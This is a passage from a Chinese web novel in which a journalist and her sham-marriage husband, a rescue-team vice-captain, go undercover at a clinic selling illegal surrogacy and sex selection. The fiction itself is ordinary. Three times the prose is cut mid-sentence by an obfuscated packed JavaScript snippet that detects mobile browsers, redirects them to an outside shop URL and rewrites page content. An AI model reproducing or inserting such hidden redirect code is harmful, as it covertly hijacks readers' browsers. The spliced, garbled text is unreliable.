她停了几秒,没有等他的答案,而是接着问:“你害怕的时候,也有人像现在一样,在你身边吗?” 齐寻语塞,垂眸看着身前的人。 砰砰的心跳依旧鲜活蓬勃地贴在他身上,不知是害怕还是兴奋。 许是太久没有等到回答,她在他怀里微微侧过脸,因此他能看清她的睫毛在微凉的风中轻轻颤动。 她身上有很淡的洁净气味,让人想起宁静旷远的大海。 他在心里,悄悄将这些细节填补到十年前那个只有声音的女孩身上,然后“嗯”了一声。 “所以你该相信,我也能像你一样,成为一些人的希望。” 60米的距离,在空中耽搁再久,也不过是几次呼吸,于是这句话的尾音跟着他们的身体,一起摇摇晃晃在终点落了地。 也在齐寻的心里生了根。 终点的接引员看到两人一起过来,笑弯了眼:“副队,你转性了?” 另一个一边给齐寻解安全扣,一边揶揄:“上次那是谁啊,新队员求他带一次,他直接把人家退回了……” 齐寻一挥手打断他后半句调笑,转身要去帮黎叙闻拆装备,她却往旁边一闪,躲过他伸过来的手。 齐寻拧眉:“干什么?” 黎叙闻指着绳索问接引员:“这个,能原路回去吗?” 接引员点头:“能啊。” 黎叙闻拉了拉绳子,学着齐寻之前的样子,检查了一遍绳结和安全扣,握住绳索就要向前走。 齐寻长腿一迈,黑着脸挡在她面前,不由分说按住她的手:“刚刚的话,都白说了?” “我行不行你说了不算,”黎叙闻直视他沉黑的眼睛:“除非今天我从绳桥上掉下去,否则,我一定要听到你的道歉。” 齐寻半步不退,将她整个拢在自己的影子里:“黎叙闻,闹够了么?” “我知道你想干什么,”她往前一步,几乎贴上他的胸口,声音低得只有他们两人听得见:“高空训练其实只有行动队需要参与,你为了让我退出,大费周章,把所有人都拉来,看着我上场前哭着放弃,看着我丢脸。” 两人距离贴得太近,近得齐寻的视野里,只容得下她那一双倔强又勾缠的眼睛。 她扬起下巴冲他莞然而笑,一根手指点着他心口:“那现在呢?你是希望我成功,还是希望我失败?” 齐寻眸底愠色更深,视线挑落在她细长指尖。 黎叙闻退开一步,笑道:“让一让,别挡我的路,副、队、长。” 身后的两个接引员面面相觑,谁都不敢介入两人剑拔弩张、却暧昧不明的争执。 齐寻眉头拧得比绳结还紧,盯了她半晌,还是往一旁退了一步,把出发点让开了。 没有了第一次的恐惧,黎叙闻抓紧绳索,双脚在地上一蹬,整个人毫不犹豫地没入了山谷间炽烈的阳光中。 “这姑娘行啊,第一个,有点胆量。” “人也漂亮,”两个接引员在身后八卦:“哎,白蛇,她行动队的?叫什么啊?有没有男朋……” 齐寻睨他一眼,接引员摸摸鼻子:“就问问……” “不许问,”齐寻间不容瞬盯着她荡在山间的身影,脸色阴得要滴出水来:“她结婚了。” 12. 第 12 章 剩下的培训比起高空索道的开屏暴击,可以说都毛毛雨,齐寻也没再出现,不知是刻意避着她,还是真的有事要忙。 一天训练结束,新进志愿者人手一张意向表等他们填写。 黎叙闻刚提笔填了姓名,却听见一个熟悉的声音:“诶?是你?” 她抬眼,见车祸现场那个戴眼镜的圆脸姑娘正盯着她看,她笑着点头,准确叫出了姑娘的代号:“阿咩,你好。” 阿咩高兴地跑过来,低头去看她的名字,一看就傻眼了:“黎叙……闻?”她惊愕地抬起头:“你是闻闻?” 黎叙闻诧异道:“怎么?” 阿咩后知后觉自己露了馅,赶紧闭上嘴巴,笑意却止不住地从眼睛里跑出来。 原来是她。 昨天就听说副队长终于找到他的“许仙”了,他还在他们几个知情人的小群里再三强调,不要说出去,更不要让她本人知道,他只想保持现状,不想事情变得复杂。 大概是想默默守护吧,那时候阿咩想,能让他这样用心,那个“许仙”,到底是什么样的人呢,会不会美若天仙,或者是天之骄女? 现在她总算知道了,顶尖的样貌和才华,都不是“许仙”最大的优点。 一个明明自己都被满地破碎的血肉吓得面色苍白,还费心思挡住不让她看见的人,确实配得上被白蛇那么好的人守护。 “没什么,”阿咩笑着,把这个秘密咽到肚子里:“你要填哪里呀?大记者应该去宣传组吧?” 黎叙闻摇头:“其实我还没想好……” 她后半句话被身后忽然出现的男声打断:“黎记者?” 黎叙闻回过头,见到一个四十多岁的中年男人,个子不高,身材敦厚,正慈眉善目地看着她笑。 她还没开口,阿咩先说话了:“队长好。” 纪士诚哎了一声,又对黎叙闻道:“有没有空,咱们一起喝杯茶?” 微光的队长办公室是从装备室中隔出来的,方便纪士诚盘点装备、检查入库,因此显得不大宽敞。 纪士诚端了杯茶过来:“味道一般,将就将就。” 黎叙闻站起身来双手接了:“谢谢队长。” “是我要谢谢你,”纪士诚坐在她对面,笑容没变:“这么漂亮优秀,还愿意做齐寻的家人。” 黎叙闻眉心几不可查地一挑:这么直白吗,单刀直入啊? 今天在救援队混了一天,她也听说了纪士诚和齐寻的关系。 他对齐寻来说,不仅是并肩作战的队友,更是亦师亦友的长辈,所以他知道自己跟齐寻结婚的消息,这不奇怪。 但问题是,她不知道齐寻有没有告诉他,他们的婚姻只是一场交易。 算了,帮他遮掩这一回。 她面不改色地笑道:“能跟他在一起,我才是幸运的那个人。” “他跟我说的时候我还吓了一跳,”纪士诚道:“这么突然的决定,对女孩子来说,更不容易吧?” 黎叙闻莞尔一笑,轻轻叹了一声:“您知道,我是调查记者,见过很多不那么光彩的事,有时候,也会觉得世界就是这么不堪。” “但齐寻不一样,”她眼尾带着一点出神:“他让我觉得,这世界也没有那么糟。” 纪士诚看着她,舌根微微发胀。 他干救援这么些年,看人自诩有一套,所以今天才巴巴地把人叫来,想帮齐寻掌掌眼。 幸不幸运那句一听就是客套,但这一句,似乎是真的。 他无声地滚了滚喉头,出口的话又多了三分真心:“齐寻这孩子吧,别的都没得说,就是脾气臭,好话说不出口,生怕别人觉得欠他似的,你就多担待点。” 说完他自己都差点笑出来。 这是他一个大男人该说的话吗,这不应该是齐寻妈妈的台词吗? 可要是他不说,也就没人替齐寻说了。 黎叙闻忍俊不禁,顺势跟他告了一状:“领教过了,上午我还在跟他拌嘴,他嫌我不行,非不让我来!” “我就知道……”纪士诚苦笑:“他哪是嫌你不行,他是含在嘴里怕你化了。他吃过的苦,能舍得再让你吃一遍吗?” 黎叙闻微怔,眼底流过一抹细微的停顿。 是……吗? 这句话像按下了回放键,之前她轻巧掠过的细节,忽然鲜亮地铺在她面前。 比如在楼下等了三小时带她去领证,到她手里依然温热的早餐,两人争执时他欲言又止的语气。 还有那天晚上他鲜血淋漓的双手——那双手攥住她的手腕时,被磨得稀烂的指节上,还残留着触感分明的硬茧。 那大概是他流过很多汗,受过很多伤的证据。 “好了不说他了,”纪士诚点到为止,拿了救援队的部门介绍来:“你意向表还没填完吧?想去哪里?” 黎叙闻低着头,用手指一行一行读,在“宣传部”那一行悬停了一下。 纪士诚笑道:“好好,记者就应该去宣传部,多给我们写点正面报道。” “不,”黎叙闻摇头:“我选医疗组。” 纪士诚扬起眉毛:“医疗组又苦又累,还得考红十字会的证,你想好了?” 黎叙闻勾唇,笑容如同一泓夏日清泉:“想好了。” 从队长办公室出来,天已经微微擦黑,队员们穿着制服,三三两两从训练中心往回走。 黎叙闻捏着手机,对着齐寻的微信对话框发呆。 她得给齐寻打个电话。 不是因为她要服软才打的,只是工作需要,他作为搭档,必须跟她一起去见线人,了解案情。 嗯,一定是这样。 等待音响了一声,那边就接起来,声音意料之中地冷淡:“有事?” 黎叙闻一听他这语气,就莫名想发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816605|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火,但转念想想自己打电话的目的,又软了口气:“晚上有事吗?请你吃饭?” “良心发现了?” “哈哈,算是?” 齐寻在那头哼笑一声:“你真有那玩意儿?” 黎叙闻:“……晚上我约了线人,你跟我一起去见见,地址发你微信,挂了。” 一口气说完收了线,她对着那个一言不发的对话框,又慢半拍地生气起来。 这人……就多余对他客气! 一家店面只有一人多宽的快餐店,门口挤挤挨挨摆着插满玉米的电饭锅和关东煮炉子,粉红的淀粉肠在烤箱里慢慢翻滚,溢出一阵廉价但勾人的香气。 黎叙闻的线人夏蓉是个二十一二岁的小姑娘,面前摆一碗鸡丝凉面,双手夹在膝盖中间,怯生生看她:“姐,你真结婚啦?” 黎叙闻挑起一根面送进嘴里:“嗯,反正都要结,刚好用得上。” 夏蓉挺兴奋:“你老公是个什么样的人?” “唔……”黎叙闻声音含糊:“蛮好的,一个……让人很有安全感的人。” 夏蓉心生艳羡:“真好……” “好什么?”黎叙闻咬断面条,抬头瞪她:“你不许去跟那些黄毛谈恋爱听见没有?好好工作,好好读书!” 夏蓉亲亲热热地“哎”了一声:“那我给你讲讲线索细节?” “等会儿,等他来了一起说吧。” 门口光线忽地暗了暗,她一抬头,就见齐寻颀长挺拔的身形出现在一众食客中间,宽肩窄腰,紧身T恤下勾勒出明显流畅的肌肉线条,小麦色手臂上血管微微凸起,跟有力的手腕一同收进裤袋里。 黎叙闻眯着眼睛看了一阵子,带着一些说不清的滋味,就着白水咽下了口中的面条。 齐寻戴着一顶鸭舌帽,埋在阴影里的视线这时捕捉到角落里的黎叙闻,长腿一迈,侧身灵活避过犬牙交错的桌角,走过来自然而然坐在她身边。 黎叙闻清了清嗓子,问:“吃过了吗?” 齐寻扫了她一眼,又看见对面的夏蓉,才说:“吃了,把家里的剩饭打扫了。” 黎叙闻扭头看他,眼角眉梢都是揶揄笑意。 还挺能演。 夏蓉本来还有些疑虑,之前也没听黎叙闻提过自己有男朋友,为了个暗访,说结婚就结婚了,今天见了真人,才觉得这两人坐在一起就是夫妻。 她被齐寻看了一眼,红着脸低下头:“姐夫好。” 齐寻眉间松了松:“嗯,你好。齐寻,录音师。” 黎叙闻挑着眉看看自己的线人妹妹,又看看齐寻,给他递了个调侃的眼色:你还挺有魅力哈,一眼就给人看害羞了。 齐寻回敬她的一记眼刀也很好理解:这是为谁演呢?别捣乱。 餐厅老板过来,又给齐寻上了一套餐具,夏蓉这才如梦初觉,打开手机备忘录:“咱们说说细节吧。” 13. 第 13 章 角落这张桌子跟前面隔着一道后厨门,味道又大,声音也杂,一般不会有人往跟前凑。 一阵烟熏火燎的炝锅声中,夏蓉提高声音问:“要我大点声吗?还是我们换个地方?” 齐寻道:“你就正常说,我听得清。” 夏蓉点点头,说起了她手里线索的来龙去脉。 这条爆料线索,是从她老家县城三姑六婆的闲聊里得来的。 她家在隔壁省的村子,之前五一假期回家省亲,亲戚在饭桌上,神秘兮兮地说起了一桩趣事。 “你们隔壁那个琳琳还记得不?”亲戚压低声音:“有啦!” “啊,没听说结了啊?怀的谁的?” “什么谁的,人家争气,用自己肚子赚钱呢!听说就躺着,好吃好喝供着,生了以后,”亲戚眉飞色舞地伸手比了个手势:“这个数!” 同桌上的人大吃一惊:“千啊?” 亲戚啧一声:“什么千!万!听说这是男孩的价,女孩嘛就低些。想不到她年纪轻轻,倒比她那不争气的堂哥强了。” 饭桌上赞叹声响成一片,夏蓉在其中,听得一头雾水:“这怎么搞?谁能保证生男的还是女的?” 亲戚鄙视地看了她一眼:“当然是医院!“又转头神道地跟别人说:“而且生几个就有几个的钱,遇上大方的,给得更多!” 夏蓉终于听明白了。 她本来以为琳琳是给谁当了情妇,生个孩子奖励多少钱,却没想到她是把这个当成了赚钱的营生。 夏蓉忍着恶寒,装作有兴趣地打听到了医院的地址,末了,亲戚提醒她:“你去不了。” “为啥?” “人家要介绍人,你有吗?” 夏蓉慢慢搅着面前的凉面:“后来我自己去了一次,结果被人赶出来了,问我是谁介绍来的,我说没有,他又说,那有结婚证也行。” 说起这件事,她不免情绪低沉了些,声音也跟着小了,淹没在一阵嘈杂的热闹里。 黎叙闻没听清,身体前倾着问:“什么?” 有一道灼热气息靠近她的耳廓,声音很轻,给她一字一句重复了一遍。 黎叙闻耳后麻了一片,顺势贴近他:“听见了,谢谢。” 那道呼吸凝滞一瞬,靠近她的半边身体僵了僵,她按住他膝盖:“别动,要露馅了。” 齐寻垂眼看着她覆上自己膝盖的手,无声吞咽一次,伸手环住了她的手腕。 腕间传来无法忽视的热意,黎叙闻甚至能感觉到他正蓬勃跳动的脉搏,就贴在自己的手背上。 她视线往下,去寻他指骨凸起的手背,分明很有力量感,但只是虚虚地盖着她的细腕,好像一点力都不敢使。 她深吸一口气,抬头问夏蓉:“暴露了吗?” 夏蓉摇头:“没有,你教我的我都记着呢。” 黎叙闻赞许地对她笑,顺势将手腕从齐寻掌心抽走:“做得不错。这两天我们会以夫妻身份去暗访一次,琳琳接受采访吗?” 触感分离的瞬间,那只手反应慢了半拍,动作明显一顿,让她有种对方恋恋不舍的错觉。 手腕上那一点热意很快流走,晚风一来,被他握过的那一块丝缕泠然,凉得比别处更明显。 夏蓉看不见肌肤相亲的纠缠,摇头道:“我找过她,但她早就不住在老家了。” 黎叙闻沉吟了一瞬,道:“没关系,照片有吗?基本资料呢?” “她姓秦,大名秦琳,今年刚19岁,有一张生活照,我发给你。” 黎叙闻看了她发的照片,由衷道:“你做得很好,很敏锐,也很勇敢,剩下的都交给我们吧。” 夏蓉被她夸了,不好意思地低头笑:“没有……” 黎叙闻从包里拿出一个信封,放在桌上推给她。 夏蓉正要慌忙地推回去:“姐,我不要——” “给你买书的钱,”黎叙闻按住她的手:“再推,下次我们社选通讯员,我可就不报你了。” 通讯员虽然只是报社的编外人员,但能让自己的文章见报,这对夏蓉来说,已经是想都不敢想的事了。 夏蓉惊喜地千恩万谢,这才把信封收起来,高高兴兴地直奔书店了。 这时候晚饭点已过,周围不再像刚刚那样嘈杂热闹,店里只留下一两桌零星的客人,连厨房里的油爆翻炒声都小了。 齐寻和黎叙闻坐在桌子的同一边,一时无话。 黎叙闻用筷子搅着干涩的面,想说点什么,却又觉得唇舌锈蚀。 “肢体接触你不喜欢?”少倾,她若无其事笑着问:“刚刚那个场面,总不能前脚跟人家说我们是夫妻,后脚就坐得泾渭分明,太明显了。” 齐寻无端地搓了搓手指,上面似乎还残留着某种温热的触感:“……没有不喜欢,就是不习惯。” “那就得辛苦你习惯一下,”黎叙闻唇边笑意多了三分揶揄:“暗访的时候,恐怕得演得比这还真。” 齐寻嗯一声,算答应了。 黎叙闻低头吃面,面条吸饱了汤汁,变得鼓胀软绵,却涩住了她的口,半天才又憋出一句:“谢谢,所有的事情,都谢谢。” 齐寻默了默,道:“想谢谢我,所以选了医疗组?” “我说了,我包扎技术比你强。”黎叙闻笑笑:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816606|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不需要?” “你用不着这样,”他说:“我答应跟你结婚,不是为了得到什么。你做自己想做的事就行了,其余的,关于我的,你都不用管。” 黎叙闻看着他,眸底黑白分明:“如果我说,这就是我自己想做的事呢?” 齐寻眸光陡然震颤,偏头去瞄她,却被一双含笑的眼睛抓个正着。 快餐店门口又支起烧烤摊,零星有食客呼朋唤友,提早开始夜宵时刻,刚刚冷寂下去的快餐店转眼又烟熏火燎着热闹起来。 他在这一片无关他们的喧闹中,又听见了初夏葱郁的夜风吹过,带来的清脆风铃声。 捕捉到他这一点失神,黎叙闻抬了抬唇角,话锋一转:“但是下次你再说我不行试试看!” 齐寻如梦初醒般转开视线:“我没有说过你不行,我从头到尾,说的都是你不合适。” “有什么区别!那你说我合适做什么!” 你适合去看不见黑暗、听不见哭泣的地方生活,被人细心呵护,然后平淡幸福地过完一生。 这句话被齐寻抿着嘴唇,存在了自己心里。 “我还是那句话,我可以配合你,也相信你,但我保留随时独自行动的权力。”他把坨成一碗的面从她面前端走:“别吃了,对胃不好,想吃再点一碗。” “还独自行动……你想干什么?”黎叙闻笑:“给你个署名,也像夏蓉一样,拿线人费?” 齐寻轻咳一声,生硬转移话题:“你们现在还在用信封装现金交易?挺复古。” “她平时就是打打零工,收款码绑定的都是家里的卡,所以……” 齐寻了然。 是一个受困于现实,却仍挣扎着为自己拼出一条路的好孩子。 “她想当记者?” “是,”黎叙闻想起第一次跟夏蓉相遇的场景,不由轻笑:“那时候我在街采,被拒绝了可能有十几回,她怯生生跑过来,问我能不能采访她。回答完问题,她又问我,能不能把笔记给她看看。” 她们的缘分,始于这样一场意外,却出人意料的绵长。 齐寻看着她谈笑时的侧脸,线条柔和流畅,在快餐店简陋的灯光里泛着温软的光泽。 比昳丽面容更让他关注的,依然是她的声音。 年少时她的音色就极为出色,十年时光将它打磨得愈加润泽悦耳,他所错过的她的那些经历,更让它听起来沉稳、犀利、笃定。 但穿过这些华丽的包裹,那里面蓬勃的希望和生命力,自始至终都没有变过。 他无声笑了笑,起身结了账,道:“行吧闻菩萨,明天还有硬仗要打,送你回家。” 14. 第 14 章 按照夏蓉给的地址,第二天两人就驱车来到毗邻京屿的县城。 跟京屿寸土寸金的拥挤截然不同,县城地广人稀,甚至有余裕在主干道旁规划出大片鲜妍翠色的绿化带。 而他们找的那家“医院”,就安稳地藏在一片勾连掩映的树木背后,静静窥探着即将踏入的肥羊。 齐寻把车停在街边:“到了。” 黎叙闻拿出夏蓉的微信对照:“‘春日希望’,没错,就这里。” 但这并不是一家医院,而是一家健康咨询中心,名副其实的挂羊头卖狗肉。 “行,准备吧。”黎叙闻拿出微型摄像头,准备安在自己胸前的纽扣上:“看我眼色行事。” 齐寻伸手过去,温热的指尖跟她的一触即离,拿走了她手里的摄像头。 黎叙闻一愣:“你干什么?” 他低头用拇指往纽扣上一按:“多给我一只眼睛,好看你眼色行事。” 黎叙闻:“……你又不是记者,还给我。” “你身高不够,”齐寻挡开她的手:“拍不到脸。” “反正也要打码……”她又伸手要去抢。 齐寻索性单手扣住她两只手腕:“万一我们暴露,他们第一反应肯定是找摄像头砸掉,要是戴在你身上,你确定你制得住他们?” 黎叙闻皱眉看他:“那也是我自找的,要暗访,就得承担风险。” “我在旁边,风险就不能落在你头上。”齐寻放开她的手:“再争下去他们就要下班了,到底还去不去?” 黎叙闻关键时刻竟一时语塞,只能跟着下了车。 她在手机上调试了片刻,又叮嘱:“如果被发现了,你就把镜头抠下来扔给他们,然后掉头就跑,听见了吗?” 齐寻看着她如临大敌的表情,笑着应了:“嗯。” 下一刻,一双温热的手攀上他的手臂,因为仓皇,它们正用力握紧他的肌肤。 在靠他心脏很近的地方,有另一处脉搏在细细颤抖着搏动,很轻,但很快,带着他的心跳一路狂奔,按都按不住。 齐寻喉头一滑,把她的手从大臂处摘下来,牢牢牵在手里。 “走吧。” 大厅里大理石墙光可鉴人,有“护士”在跟来访沟通,未等他们找人搭话,就有人先一步过来:“有什么事?” 黎叙闻一马当先:“别人介绍我们来的,说在这……生了孩子。” 那人穿着保安制服,身材魁梧,要是别人进来,搞不好真要先领个下马威。 但他们不会,毕竟齐寻比这保安还高半个头。 保安看了他们一眼,语气缓和了些:“谁介绍的?” 黎叙闻凑近了他,低声说:“她不让我讲,你知道的,女人生不出孩子来,很丢脸……她说有结婚证就行。” 她用手肘捣了捣齐寻:“老公,结婚证呢?” 齐寻被这一声叫得一愣,顿了顿才伸手去口袋里,捞了两本红本本出来,递给保安:“别弄皱了。” 保安转身去验,黎叙闻见他走远,踮起脚尖对他耳语。 外人看起来她眉眼带笑,就像个小媳妇在跟自家老公撒娇。 只有齐寻听到了她阴恻恻的话:“愣什么呢,入戏点行不行?” 齐寻身体僵了僵,好半天才答:“……知道了。” 这时候保安拿着结婚证回来,招呼他们:“进来吧。” 他们穿过一处长长的、贴满可爱婴孩海报的走廊,推开了一扇办公室的门。 办公桌后坐着一位四十多岁的女大夫,慈眉善目的,对着两人道:“请坐请坐。” 诊室窗明几净,墙上贴着诸多医学常识,而办公桌的墙背后,挂满了鲜红锦旗,无一例外地彰显着医生的妙手仁心。 保安在他们身后将门关上,像关上了一扇兽笼的门。 大夫坐在一片繁花似锦的锦旗前,笑得敦厚:“你们好,我姓杨,结婚证方便给我再看一眼吗?” 黎叙闻只得递给她,杨大夫对了半天的长相,视线忽然定格在了下方。 黎叙闻心里咯噔一声。 “才领的证啊?这么着急吗?”杨大夫问。 黎叙闻拿出早就想好的对策:“婆婆催得急,让我早点生个儿子。” 她把“儿子”两个字咬得很重,想让对面赶紧切入正题。 杨大夫笑着把结婚证还给她:“你们还年轻呢,不着急,再回去试试吧。” 黎叙闻坐着不动,脑子飞快思索着对策,她眨眨眼,忽然抱住齐寻的胳膊:“老公,可是咱们都跟妈说了已经有了,这可怎么办……” 她委屈巴巴地抬头看他,实际上已经做好了逃跑的准备——他俩对词的范围仅限于“婆婆催着抱孙子”这一点上,谁也没料到这边能谨慎到这种地步。 后面的台词,只能看他自由发挥了。 齐寻垂着眼跟她对视,竟读懂了她的意思:“……我妈说怀孕了才让领证,我们就跟老人家撒了谎,先把证领了,到了日子不抱个孩子回去,她肯定能给我们搅黄了。” 杨大夫的眼神在他们之间巡游了几个来回,笑道:“感情还挺好。” 齐寻点头:“是。” 杨大夫笑了笑,视线却依然在他的脸上探寻。 她转过头在病历上敲了几个字,又问:“同房大概什么频率啊?” 黎叙闻:“……” 齐寻:“……” 黎叙闻崩溃了一瞬间,下意识偏头去看齐寻,他面不改色,只是黎叙闻从他迟滞了一秒的呼吸中,奇迹般地感受到了他的无语。 他们毕竟是“夫妻”,这种问题要是答不上来,就实在太可疑了。 黎叙闻手指绝望地蜷了蜷,深吸一口气:“两、两三次吧。” 齐寻:“一天。” 黎叙闻眼前一黑。 脑子里“铿”地一声,有一线属于人类的廉耻心,随着这两个字一起绷断了。 于是她破罐破摔,笑着伸手捶齐寻:“哎呀哪有每一天啦……” 齐寻没留神,接了她一拳头,差点内伤。 杨大夫见惯了大场面,依然维持着体面的笑意:“哦,那试试三代试管吧,”她谨慎地看了黎叙闻一眼:“介绍人跟你说了吧,在我们这,生男孩的概率挺大的。” 这是可以挑性别的意思。 国内法律规定,如非遗传病或染色体异常,试管婴儿技术不允许人为选择性别。 但对方太谨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816607|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慎,说出来的话都模棱两可,根本不能作为证据。 黎叙闻心一横:“可我心脏不好,不能生育,所以才慕名找来……” 这意图就很明显了。杨大夫脸上笑意更深,盯着她看了一会儿,说:“你们等等。” 她转身拿出一本资料夹,翻开递给黎叙闻:“你们要找的是这个吧。” 如果一定要找一个词来形容,黎叙闻脑子里第一个蹦出来的词,竟然是“琳琅满目”。 是的,琳琅满目。 资料册里一页一页,都是青春洋溢的女孩子,有的看上去甚至一团稚气,就好像刚刚她们还背着书包在校园里穿行,一个错身,便出现在了这样一本名册上。 证件照、生活照、出生地、学历、婚育史、智商,将一个人的价值简单粗暴地勾勒出来,条分缕析,明码标价,货物似地摆在货架上,任人挑选采撷。 “我们这里很多大学生的,”杨大夫说:“名校的也有,就是营养费要高一些,但也值得的对嘛。” 她的视线一直盯着翻阅资料的黎叙闻:“放心,她们都很听话,很受管控,到时候绝对不会扯不清。” 黎叙闻抬头看她。 她长着一张圆阔的脸,眼周笑纹深深,嘴唇很厚,眼神明亮,很容易让人联想到家里温厚的女性长辈。 就是这样一个人,将女孩子门看成一个个容器,把她们的人格、未来、生而为人的尊严统统定价。 黎叙闻眼眶一阵阵发胀,喉头像哽着一块铁。 有一瞬间她很想问她,你有女儿吗,如果你的女儿被印在这本册子上,你要怎么办? 可质问不现实,愤怒无意义。 她身后的那面锦旗,还触目惊心地写着“送子观音”。 胸中的岩浆不停翻涌,诊室内静得吓人,似乎只有她自己的呼吸和心跳声,还挣扎着回荡在她耳边。 她下意识地攥紧了身边人的手。 宽厚的手掌将她的手完全包住,也用力地回握她。 就是这一瞬间的紧握,让黎叙闻彻底清醒。 她深吸一次,对上杨大夫期待的眼睛:“多少钱?” “全包价格,”杨大夫在纸上写下一个数字:“八十八万。当然,营养费和红包要另算。” 黎叙闻转头,跟齐寻对了个眼神。 “八十八万,不是个小数目,”齐寻了然,故作沉思:“而且……太慢了。” 杨大夫立刻道:“我们这已经是最快的机构了,你们情况特殊,一个半月,一个半月我就给你们搞定。” 黎叙闻又低头去翻那些照片——她始终没有看到夏蓉提到的那个“琳琳”。 “我们想找个家在京屿附近的,”黎叙闻道:“最好就是不到二十岁,其他的没有什么要求。” 杨大夫想了想,好似真的想到了什么人:“有是有,就是已经被人挑走了,货已经带上了——没办法,年轻代妈很紧俏的。” “货”已经“带上”了,年轻“代妈”很“紧俏”的。 黎叙闻拼命地咽下自己的恶心,又问:“可我们就想找……” “那没辙,”杨大夫眼睛眯了眯,起了疑心:“她跟别人不一样。你找她吗?她是你什么人?” 15. 第 15 章 黎叙闻眉心一跳,抬头迎上她的眼神。 杨大夫正直勾勾盯着她,像盯着什么闯进领地的异端。 办公室墙上的钟表滴滴答答,不急不缓地流淌着,好似某种隐喻的倒计时。 黎叙闻没有挪开眼,对峙似地跟她对视,手在桌角下熟练地解锁手机,指尖在拨号键盘上,慢慢地按下了110. 只要对方的疑心再多一分,她就会立刻拨出这个电话。 “问那么多做什么,这行不通的。” 身边的齐寻忽然插话,像一根细小的针戳破紧绷的空气,让两人之间陡然泄了张力:“时间对不上。” 黎叙闻顺势松了下肩膀,移开视线:“但现在还有什么办法?” 说着她又看了一眼杨大夫:“还想着今天就能定了呢……大夫,要不你再帮我们想想办法?” 杨大夫眉心的皱褶终于松了,笑眯眯道:“这好办,到时候七八个月,你们就说去住院保胎,不让探视,然后过几个月直接抱个孩子回去就行了。”她从抽屉里拿出一份合同,摆在两人面前:“签吗,签的话,现在我就找人给你们改。” 黎叙闻翻了翻合同,上面的条款脉络分明,一看就是经过多次修改,一点空子都没留。 她假意仔细研究了一阵,道:“好像……没什么风险哈?这我们就放心多了。”她抬头看杨大夫,笑得柔顺:“不过费用是很大的一笔钱,我们可能需要商量一下。” 杨大夫笑:“好说好说,那你们抓紧时间商量。” 两人站起来,主动跟杨大夫握手,杨大夫目送着黎叙闻和齐寻走出办公室,笑眯眯地叮嘱:“时间就是金钱呐。” 暗访最后一步,也是最关键的一步,是不要恋战,拿到证据就赶紧跑路。两人除了医院便立刻上车,齐寻一脚油门,踏上了回京屿的路。 车被暑气烘了许久,里面蒸腾着一股皮革的气味。齐寻把空调开到最大,冷风带着咆哮的气势吹起来,撩得黎叙闻飘在耳侧的发丝在半空中飞舞。 她正垂着眼检查手机上的录像素材,身体线条依然紧张地挺立着,连下颌线都绷得很紧。 齐寻从侧面看去,她手机屏幕反射着灼烈日光,一盏琉璃一样泼进她的眼底,亮晶晶洒成一片,山根鼻骨却恰好垒砌成屏障,把那一捧光泽完好地困在她的眸光里。 浓淡相宜,是一幅不怎么雀跃的油画。 黎叙闻全副心神都在她录的素材上,无心周围一切。 她放了一段录制的视频,画面清晰,角度适宜,齐寻优越的身高甚至完整地收录了办公室里那面讽刺的锦旗墙。 但声音就不那么理想,偷拍设备毕竟造价低廉,收音效果一般,中间有一段甚至完全静音了。 她又放了手机录的备用音频,隔着厚厚的办公桌,话筒收录的声音像来自遥远的天边,连带着她衣料的摩擦声、肢体动作带起的杂音,勉强能用,但不算理想。 “啧,”她低头摆弄着手机:“可惜了。” 齐寻这时候才动了动身体,从后腰处拿出一个黑色收音盒,抬手将粘在短袖里的话筒取下来,一起放进她手里。 黎叙闻愣了愣,紧接着眼睛便被这小小话筒点亮了。 齐寻单手点开手机里已经导好的音频,杨大夫洪亮的声音在车里掷地有声地响起:“试管技术、代妈、性别,还有出生证,四项加起来,八十八万。当然,给代妈的营养费和红包要另算。” 声音清晰得仿佛靠在她的耳边。 黎叙闻心酸地感慨:“……这就是专业的力量对吗?” 做新闻的专业录音师一般都供职于电视台,他们报社的录音师根本近乎于无,黎叙闻在新媒体平台发的稿件,从来都是能不带视频就不带,非要用就只能用随身相机拍的,声音画面那都别想,能看清是个人,听清说的什么,已经是满分了。 什么时候吃过这么好的! 齐寻轻笑道:“这婚结得,是不是还挺有性价比?” 黎叙闻偏头望着他一贯疏离的脸上挂着的浅淡笑意,心里一直绷着的那根弦,终于慢慢松了下来。 她莞尔一笑:“何止是有性价比,谢谢你啊,大录音师。” 有了清晰的录音素材,杨大夫兜售人命的对白,甚至更加刺耳,刺耳到她本来还想再整理一遍视频,现在都觉得窒息,索性关了屏幕。 这是她第一次独自出来暗访,对每一个环节每一句话都要负责,身后也没有同事前辈的策应,万一出事,在报社的后援根本赶不及。 可这也是让她最安心的一回。 